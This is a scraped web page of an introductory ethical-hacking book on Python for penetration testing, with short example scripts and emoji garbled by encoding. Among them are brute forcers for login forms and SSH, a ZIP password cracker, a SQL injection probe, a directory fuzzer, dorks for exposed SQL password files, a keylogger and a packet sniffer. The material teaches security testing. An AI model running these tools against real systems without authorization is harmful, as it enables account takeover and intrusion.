application testing, and writing custom Python scripts to support ethical
hacking activities. Yes, all scripts and tools are intended for **ethical hacking and educational
purposes only**. Users should always have proper permission before testing any
network or system. You can access the book online or download it from here. All examples, scripts, and links are fully
functional.π Your Cybersecurity Learning Hub
Programming Language Cheatsheets
Hacking Tools Reference
Free Weekly Live Doubt Sessions
Step-by-Step Documentation
50+ Python-Based Hacking Tools
Beginner to Advanced Learning Paths
Career Support
Getting Start
Introduction-To-Penetration-Testing
π What is Penetration Testing?
π€ In simple words:
π§βπ» Why Do We Need It?
π§ Types of Penetration Testing
Network Penetration Testing
Web Application Pentesting
Social Engineering
Wireless Pentesting
Physical Pentesting
βοΈ Pentesting vs Hacking: What's the Difference?
Penetration Testing (Ethical)
Hacking (Illegal)
Done with permission
Done without permission
Helps improve security
Exploits security
Legal and ethical
Illegal and punishable
Performed by white hats
Done by black hats
Role of Python in Cybersecurity
π 1. Easy to Learn, Quick to Deploy
π§° 2. Tons of Ready-to-Use Libraries
π§ 3. Automating Repetitive Tasks
π 4. Great for Offensive & Defensive Security
π» 5. Integrates Easily with Pentest Tools
π 6. Community & Open Source Projects
π₯ Final Thought: Python = Cyber Superpower
Black Hat vs White Hat vs Grey Hat
π΅οΈββοΈ What Kind of Hacker Are You?
β« 1. Black Hat Hackers (The Villains)
es
βͺ 2. White Hat Hackers (The Heroes)
βͺβ« 3. Grey Hat Hackers (The Wildcards)
π Why This Matters to You
β
Quick Comparison Table
Type
Legal?
Ethical?
Intent
Examples
Black Hat
β No
β No
Harm, steal, damage
Hackers spreading ransomware
White Hat
β
Yes
β
Yes
Protect & secure
Ethical hackers, pentesters
Grey Hat
β οΈ No
π€· Mixed
Good-ish intentions
Hackers who report bugs without permission
π₯ Final Thoughts
π₯ Final Thought: Python = Cyber Superpower
π Chapter: Legal and Ethical Considerations
π¨ββοΈ Why Legal & Ethical Hacking Matters
β
1. What Is Ethical Hacking?
es
βοΈ 2. Understanding Cyber Laws
π« 3. What Is Illegal Hacking?
π 4. Getting Legal Permission (The Golden Rule)
π 5. Consequences of Unethical Hacking
π§ 6. Hacker Ethics & Code of Conduct
π Final Thought
Setting Up Your Hacking Lab
π‘ 1. Why Use a Hacking Lab?
π§± 2. Recommended Tools for Your Lab
π½ 3. Installing VirtualBox or VMware
π 4. Setting Up Kali Linux
π£ 5. Adding Vulnerable Machines
π 6. Network Settings for Isolation
π οΈ 7. Optional: Using Tools Like TryHackMe or HackTheBox
π₯ Final Thought: Your Lab Is Your Playground
Installing Python (Linux/Windows)
π§ Installing Python on Linux (Kali, Parrot OS, etc.)
python3 --versionsudo apt update && sudo apt install python3sudo apt install python3-pipπͺ Installing Python on Windows
python --versionβοΈ Verifying Python and Pip
python --version pip --versionSetting up Virtual Machines (Kali Linux, Parrot OS)
π¦ What is a Virtual Machine?
π Installing Kali Linux on a VM
π΅οΈ Installing Parrot OS (Alternative to Kali)
βοΈ VM Settings to Keep in Mind
Installing Required Python Libraries
π¦ What Are Python Libraries?
π οΈ Must-Have Libraries for Hackers
π‘ How to Install Python Libraries Using pip
pip is Pythonβs built-in package manager. You can install any
library using a single command in your terminal or command prompt:pip install library_namepip install requests beautifulsoup4 scapy nmap paramikoπ Check Installed Libraries
pip listβ οΈ Having Trouble? Try pip3 Instead
pip3 install requestssudo if you get permission
errors:sudo pip3 install scapyIntroduction to Terminal & IDE (VS Code, etc.)
π₯οΈ What is a Terminal?
ls β List filescd β Change directorypython3 script.py β Run Python scriptifconfig β View IP addresses (Linux)π οΈ Why Use an IDE for Python?
π» Recommended IDEs for Ethical Hackers
βοΈ Setting Up VS Code
.py files with easeπ Python Basics for Hackers
Course Introduction
π¨ Wanna Level Up Fast?
Variables, Data Types, Loops, Functions
π¦ Variables
target = "192.168.1.1"username = "admin"port = 22π’ Data Types
int β Whole numbers (e.g., 22)float β Decimal numbers (e.g., 3.14)str β Text strings (e.g., "admin")bool β Boolean values (True or
False)
list β A collection (e.g.,
["admin", "root", "user"])
π Loops
for user in ["admin", "root", "guest"]:print("Trying username:", user)count = 0while count < 5: print("Attempt", count)count += 1π οΈ Functions
def greet(name): print("Hello,", name)greet("Hacker")File Handling, Exception Handling
π File Handling in Python
with open("targets.txt", "r") as file:targets = file.readlines()for ip in targets:print("Scanning", ip.strip())with open("results.txt", "w") as file:wfile.write("Scan complete for 192.168.1.1")β οΈ Exception Handling
try: file = open("passwords.txt", "r")data = file.read()except FileNotFoundError:print("File not found!")except Exception as e: print("Something went wrong:", e)Working with JSON and CSV
π What is JSON?
json module.import json
with open("data.json", "r") as file:
info = json.load(file)
print(info["username"])data = {"username": "admin", "password": "1234"}
with open("output.json", "w") as file:
json.dump(data, file)π What is CSV?
import csv
with open("users.csv", "r") as file:
reader = csv.reader(file)
for row in reader:
print("Username:", row[0], "| Password:", row[1])with open("output.csv", "w", newline="") as file:
writer = csv.writer(file)
writer.writerow(["username", "password"])
writer.writerow(["admin", "1234"])Python Networking Basics
π§ What is Networking in Python?
π¦ Python's socket Module
socket module is built into Python and is used for all
basic networking operations. Here's how to create a simple TCP client:import socket
client = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
client.connect(("example.com", 80))
client.send(b"GET / HTTP/1.1\r\nHost: example.com\r\n\r\n")
response = client.recv(4096)
print(response.decode())Introduction to socket module
socket module is the heart of Python networking β and it's
a must-know for any ethical hacker. With it, you can create your own clients
and servers, scan ports, send payloads, or build custom hacking tools.π¦ What is the socket Module?
socket module lets you create network connections using
Python. It gives you low-level control over TCP and UDP communication β the
same stuff tools like Nmap and Netcat use under the hood.
π§ͺ Simple TCP Client Example
import socket
target = "example.com"
port = 80
client = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
client.connect((target, port))
client.send(b"GET / HTTP/1.1\r\nHost: example.com\r\n\r\n")
response = client.recv(4096)
print(response.decode())π‘ When to Use socket
socket module is useful when you want to:
socket module, you're ready to start
building powerful, network-aware Python tools. Up next β real TCP and UDP
clients! π₯Creating Basic TCP/UDP Clients
socket module, itβs
time to get your hands dirty by creating your own TCP and UDP
clients. These mini tools are the base of many real-world hacking
scripts β from port scanners to backdoors. Letβs build them! π»π£π‘ TCP Client in Python
import socket
target = "127.0.0.1"
port = 9999
client = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
client.connect((target, port))
client.send(b"Hello from TCP client!")
response = client.recv(4096)
print("Response:", response.decode())πΆ UDP Client in Python
import socket
target = "127.0.0.1"
port = 9999
client = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
client.sendto(b"Hello from UDP client!", (target, port))
# Receiving response (if any)
data, addr = client.recvfrom(4096)
print("Response from server:", data.decode())Banner Grabbing
π§Ύ What is a Banner?
220 (vsFTPd 3.0.3)π‘ Simple Banner Grabbing Script
import socket
target_ip = "192.168.1.1"
target_port = 21 # FTP port
try:
s = socket.socket()
s.settimeout(2)
s.connect((target_ip, target_port))
banner = s.recv(1024)
print("[+] Banner:", banner.decode().strip())
except:
print("[-] Connection failed")Writing Hacking Tools
Information Gathering Tools
π Why Information Gathering Matters
π Automating Recon with Python
π οΈ Tools Youβll Build in This Unit
WHOIS Lookup
π What is WHOIS?
π Writing a WHOIS Lookup Tool in Python
whois
library:import whois
domain = "example.com"
info = whois.whois(domain)
print("Domain:", info.domain_name)
print("Registrar:", info.registrar)
print("Creation Date:", info.creation_date)
print("Expiration Date:", info.expiration_date)IP & DNS Tracker
π Why Track IP & DNS?
π Using Python for DNS Lookups
socket and
dns.resolver. Hereβs a basic example to resolve a domain to its
IP:
import socket
domain = "example.com"
ip = socket.gethostbyname(domain)
print(f"IP address of {domain} is {ip}")π¦ Tracking DNS Records
dns.resolver to
list DNS records:import dns.resolver
domain = "example.com"
records = dns.resolver.resolve(domain, "A") # 'A' record for IPv4
for rdata in records:
print("IP:", rdata.address)Subdomain Scanner
mail.example.com,
dev.example.com, or api.example.com. Finding these
can reveal hidden services, test environments, or admin panels β perfect
starting points for ethical hacking! π
π± Why Scan for Subdomains?
π Writing a Simple Subdomain Scanner in Python
import socket
domain = "example.com"
wordlist = ["mail", "dev", "api", "test"]
for sub in wordlist:
subdomain = f"{sub}.{domain}"
try:
ip = socket.gethostbyname(subdomain)
print(f"[+] Found: {subdomain} -> {ip}")
except socket.gaierror:
passEmail Scraper (using BeautifulSoup & Requests)
π Sample Email Scraper Script
import requests
import re
from bs4 import BeautifulSoup
url = "https://example.com"
response = requests.get(url)
soup = BeautifulSoup(response.text, "html.parser")
emails = set(re.findall(r"[\\w\\.-]+@[\\w\\.-]+", soup.get_text()))
for email in emails:
print("[+] Found email:", email)Port & Vulnerability Scanning
π Why Go Beyond Port Scanning?
π Simple Port & Version Scanner
import socket
target = "127.0.0.1"
ports = [21, 22, 80, 443]
for port in ports:
try:
s = socket.socket()
s.settimeout(1)
s.connect((target, port))
banner = s.recv(1024).decode().strip()
print(f"[+] Port {port} is open: {banner}")
except:
print(f"[-] Port {port} is closed or no banner")
s.close()π§ Next Level: Automate Vulnerability Checks
Port Scanner using socket and threading
socket
module β and by adding threading, you can make your scanner
much faster! β‘π Why Use Threading?
π Sample Multithreaded Port Scanner
import socket
import threading
target = "127.0.0.1"
ports = [21, 22, 23, 80, 443, 3306]
def scan(port):
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.settimeout(1)
result = s.connect_ex((target, port))
if result == 0:
print(f"[+] Port {port} is open")
s.close()
for port in ports:
t = threading.Thread(target=scan, args=(port,))
t.start()Banner Grabbing
π‘ Why Advanced Banner Grabbing?
π Example: Grabbing HTTP Banners
import socket
target = "example.com"
port = 80
s = socket.socket()
s.settimeout(2)
s.connect((target, port))
http_request = b"GET / HTTP/1.1\r\nHost: example.com\r\n\r\n"
s.send(http_request)
response = s.recv(1024)
print("[+] Banner received:")
print(response.decode(errors="ignore"))π¦ Next Level: Automate & Save
Password Attacks (Brute Force & Dictionary)
π‘ Whatβs the Difference?
π Example: Dictionary Attack Script
import requests
url = "http://example.com/login"
username = "admin"
with open("wordlist.txt", "r") as f:
for password in f:
password = password.strip()
data = {"username": username, "password": password}
response = requests.post(url, data=data)
if "Welcome" in response.text:
print(f"[+] Password found: {password}")
break
else:
print(f"[-] Tried: {password}")βοΈ Next Level: Brute Force
from itertools import product
charset = "0123456789"
length = 4
for combo in product(charset, repeat=length):
pin = "".join(combo)
print("Trying PIN:", pin)SSH Brute Forcer
paramiko
library. Remember: use this only for ethical testing! β οΈ
π What is paramiko?
paramiko is a Python library that lets you make SSH
connections and automate tasks like logging in, executing commands, or brute
forcing passwords.π Example: SSH Brute Force Script
import paramiko
target_ip = "127.0.0.1"
username = "root"
wordlist = ["1234", "password", "toor", "root"]
for password in wordlist:
password = password.strip()
print(f"[*] Trying password: {password}")
try:
ssh = paramiko.SSHClient()
ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
ssh.connect(target_ip, username=username, password=password, timeout=3)
print(f"[+] Success! Password found: {password}")
ssh.close()
break
except paramiko.AuthenticationException:
print("[-] Incorrect password")
except Exception as e:
print(f"[!] Connection error: {e}")ZIP File Password Cracker
π¦ How it works
zipfile module to try unlocking
the archive with each password until it works. Simple, but powerful! β‘π Example: ZIP Password Cracker Script
import zipfile
zip_file = "secret.zip"
wordlist = ["1234", "password", "letmein", "admin"]
with zipfile.ZipFile(zip_file) as zf:
for password in wordlist:
try:
zf.extractall(pwd=password.encode("utf-8"))
print(f"[+] Password found: {password}")
break
except:
print(f"[-] Wrong password: {password}")Wordlist Generators
π§ Why Generate Wordlists?
π Example: Simple Wordlist Generator
keywords = ["admin", "pass", "root"]
symbols = ["!", "@", "123"]
with open("wordlist.txt", "w") as file:
for word in keywords:
file.write(word + "\n")
for sym in symbols:
combo = word + sym
file.write(combo + "\n")βοΈ Next Level: Use itertools
itertools, you can create huge combinations easily:import itertools
chars = "abc123"
length = 3
for combo in itertools.product(chars, repeat=length):
print("".join(combo))Web Exploitation Basics
βοΈ What is Web Exploitation?
π Why Use Python?
π¦ Libraries You'll Use
Login Form Brute Forcing
π‘ How It Works
π Example: Brute Forcing with requests
import requests
url = "http://example.com/login"
username = "admin"
wordlist = ["1234", "admin", "password"]
for password in wordlist:
response = requests.post(url, data={"username": username, "password": password})
if "Welcome" in response.text:
print(f"[+] Password found: {password}")
break
else:
print(f"[-] Tried: {password}")β οΈ Ethical Reminder
Detecting SQL Injection
π‘ What is SQL Injection?
π Example: Detecting SQLi with Python
' and
checks if the page shows a typical SQL error:import requests
url = "http://example.com/page?id=1'"
response = requests.get(url)
errors = ["you have an error in your sql syntax", "mysql_fetch", "syntax error"]
for error in errors:
if error.lower() in response.text.lower():
print("[+] Possible SQL Injection found!")
break
else:
print("[-] No SQL error detected.")β οΈ Use Responsibly
Directory Fuzzing using requests and wordlists
requests library and a simple wordlist.
ππ‘ What is Directory Fuzzing?
/admin, /backup, or /old. If the
server responds with 200 OK, youβve found something interesting! π§°
π Example: Simple Directory Fuzzer
import requests
url = "http://example.com/"
wordlist = ["admin", "backup", "test"]
for word in wordlist:
full_url = url + word
response = requests.get(full_url)
if response.status_code == 200:
print(f"[+] Found: {full_url}")
else:
print(f"[-] Not found: {full_url}").php, .bak, etc.
β οΈ Ethical Reminder
π Advanced Concepts (Beginner Level)
Automation & Scripting
π€ Why Automate?
π Example: Automate an Nmap Scan
import os
target = "192.168.1.1"
os.system(f"nmap -sV -oN scan.txt {target}")
print("[+] Scan complete! Results saved to scan.txt")β‘ Beyond Scanning
Automating Google Dorks
π What are Google Dorks?
site:example.com inurl:adminfiletype:sql passwordintitle:"index of"π Automating with Python
import webbrowser
target = "example.com"
dorks = [
f"site:{target} inurl:admin",
f"site:{target} intitle:login",
f"site:{target} filetype:sql"
]
for dork in dorks:
url = "https://www.google.com/search?q=" + dork
webbrowser.open(url)
print(f"[+] Opened: {url}")β οΈ Use Carefully
Automating Recon Tools (theHarvester, etc.)
theHarvester, sublist3r, or whatweb?
Save time and get results faster! ππ
π€ Why Automate?
π Example: Automate theHarvester
import os
domain = "example.com"
command = f"theHarvester -d {domain} -l 100 -b google,bing -f harvester_report.html"
os.system(command)
print("[+] Recon complete! Report saved to harvester_report.html")π¦ Go Further
sublist3r for subdomainswhatweb to fingerprint technologiesWorking with APIs
π€ What is an API?
π Example: Calling an API with Python
import requests
url = "https://api.example.com/data"
response = requests.get(url)
if response.status_code == 200:
data = response.json()
print("[+] Received data:", data)
else:
print("[-] Request failed!")requests library makes it super simple to send GET or
POST requests and handle JSON responses.π‘ Why APIs Rock for Hackers
Working with APIs
π€ What is an API?
π Example: Calling an API with Python
import requests
url = "https://api.example.com/data"
response = requests.get(url)
if response.status_code == 200:
data = response.json()
print("[+] Received data:", data)
else:
print("[-] Request failed!")requests library makes it super simple to send GET or
POST requests and handle JSON responses.π‘ Why APIs Rock for Hackers
Using VirusTotal API
π Why Use the API?
π Example: Scan a URL with VirusTotal API
import requests
api_key = "YOUR_API_KEY"
url_to_scan = "http://example.com"
params = {"apikey": api_key, "url": url_to_scan}
response = requests.post("https://www.virustotal.com/vtapi/v2/url/scan", data=params)
if response.status_code == 200:
result = response.json()
print("[+] Scan submitted! Scan ID:", result["scan_id"])
else:
print("[-] Request failed!")YOUR_API_KEY with your real key from VirusTotal
(you can get it free by registering).π¦ Next Step: Fetch Report
params = {"apikey": api_key, "resource": result["scan_id"]}
report = requests.get("https://www.virustotal.com/vtapi/v2/url/report", params=params)
print(report.json())Telegram Bot for Alerts
π€ Why Use Telegram?
π Example: Send a Message with Python
BOT_TOKEN. Then:
import requests
bot_token = "YOUR_BOT_TOKEN"
chat_id = "YOUR_CHAT_ID"
message = "π₯ Scan finished! Found something interesting."
url = f"https://api.telegram.org/bot{bot_token}/sendMessage"
payload = {"chat_id": chat_id, "text": message}
response = requests.post(url, data=payload)
if response.status_code == 200:
print("[+] Message sent!")
else:
print("[-] Failed to send message.")YOUR_BOT_TOKEN and YOUR_CHAT_ID with
your real values.π¦ What Can You Automate?
π― Real-World Projects
Build a Simple Keylogger (for learning purpose only)
π‘ What is a Keylogger?
π Example: Python Keylogger
pynput library to listen to keyboard events:
from pynput import keyboard
def on_press(key):
try:
print(f"Key pressed: {key.char}")
except AttributeError:
print(f"Special key: {key}")
with keyboard.Listener(on_press=on_press) as listener:
listener.join()β οΈ Ethical Reminder
Build a Network Sniffer
π‘ What is a Sniffer?
π Example: Python Packet Sniffer
scapy library, you can capture and print packet
summaries easily:from scapy.all import sniff
def show_packet(packet):
print(packet.summary())
sniff(iface="eth0", prn=show_packet, count=10)eth0 with your actual network interface. This
script captures 10 packets and prints a summary of each.β οΈ Ethical Reminder
Build a Basic Vulnerability Scanner
π‘ What Does It Do?
π Example: Python Vulnerability Scanner
import socket
target = "127.0.0.1"
ports = [21, 22, 80]
vulnerable_versions = ["vsFTPd 2.3.4", "OpenSSH 7.2p2"]
for port in ports:
try:
s = socket.socket()
s.settimeout(2)
s.connect((target, port))
banner = s.recv(1024).decode().strip()
print(f"[+] Port {port} banner: {banner}")
for vuln in vulnerable_versions:
if vuln in banner:
print(f"[!] Vulnerable service detected: {banner}")
except:
print(f"[-] Port {port} closed or no banner")
s.close()β οΈ Ethical Reminder
Build a Telegram-Based Alert Bot for Pentest Results
π‘ Why Build an Alert Bot?
π Example: Send Results via Telegram
BOT_TOKEN and
chat_id. Then:
import requests
bot_token = "YOUR_BOT_TOKEN"
chat_id = "YOUR_CHAT_ID"
message = "β
Pentest completed! Found open ports on target."
url = f"https://api.telegram.org/bot{bot_token}/sendMessage"
payload = {"chat_id": chat_id, "text": message}
response = requests.post(url, data=payload)
if response.status_code == 200:
print("[+] Alert sent!")
else:
print("[-] Failed to send alert.")β‘ Next Level Ideas
π Wrapping Up
How to Practice Legally
β
Get Explicit Permission
π§ͺ Use Legal Labs & Platforms
π Understand the Rules
Practice Labs (HackTheBox, TryHackMe, WebGoat, DVWA)
π§ͺ Hack The Box (HTB)
π§° TryHackMe
π‘οΈ WebGoat
π¦ DVWA (Damn Vulnerable Web Application)
Responsible Disclosure
β
What is Responsible Disclosure?
π¦ Why It Matters
βοΈ Tips for Good Reporting
Write Reports
π¦ Why Reports Matter
βοΈ What to Include
π― Tips for Great Reports
What Next?
π¦ Learn Advanced Python
π§° Explore Frameworks & Tools
π Get Certified
Learning Advanced Python
π¦ Object-Oriented Programming (OOP)
β‘ Async & Multithreading
threading or multiprocessing to run tasks in
parallelasyncio for high-speed network scriptsπ Writing Custom Modules
π§ͺ Advanced Libraries
Moving to Frameworks (Scapy, Metasploit Automation)
β‘ Why Use Frameworks?
π Scapy: Packet Crafting & Sniffing
from scapy.all import *
packet = IP(dst="example.com")/ICMP()
response = sr1(packet)
print(response.summary())π§° Metasploit Automation
msfrpc) to:
Getting Certified (CEH, OSCP, etc.)
π Why Get Certified?
β‘ Popular Certifications
π§° How Python Helps
π Bonus
Cheat Sheet of Python Commands for Pentesters
π§ Network Basics
# Get IP of a domain
import socket
socket.gethostbyname("example.com")# Simple port scan
s = socket.socket()
s.connect(("127.0.0.1", 80))π‘ HTTP Requests
import requests
response = requests.get("http://example.com")
print(response.text)# POST request
requests.post("http://example.com/login", data={"u":"admin","p":"1234"})π§° Banner Grabbing
s.recv(1024).decode()π Parsing HTML
from bs4 import BeautifulSoup
soup = BeautifulSoup(response.text, "html.parser")
print(soup.title.text)π¦ File Handling
# Read lines from file
with open("file.txt") as f:
lines = f.readlines()β‘ Loop & Conditions
for i in range(10):
if i % 2 == 0:
print(i)List of 20 Python Security Tools with Usage
π Information Gathering
π§ͺ Vulnerability Scanning & Exploits
β‘ Network & Packet Tools
π Password Attacks & Cracking
π¦ Web & Automation Tools
π‘οΈ Defensive & Analysis
Interview Questions & Career Path
π‘ Common Python & Security Interview Questions
π§° Building Your Career Path
FAQ
What is Python for Penetration Testing and who should read this book?
Which Python concepts are covered in the book for penetration testing?
Do I need prior hacking knowledge to use this book?
Which operating systems are supported for practicing Python penetration
testing?
What types of penetration testing tasks can I perform after learning from this
book?
Are the Python scripts and tools in this book safe to use?
Where can I download or read the Python for Penetration Testing book?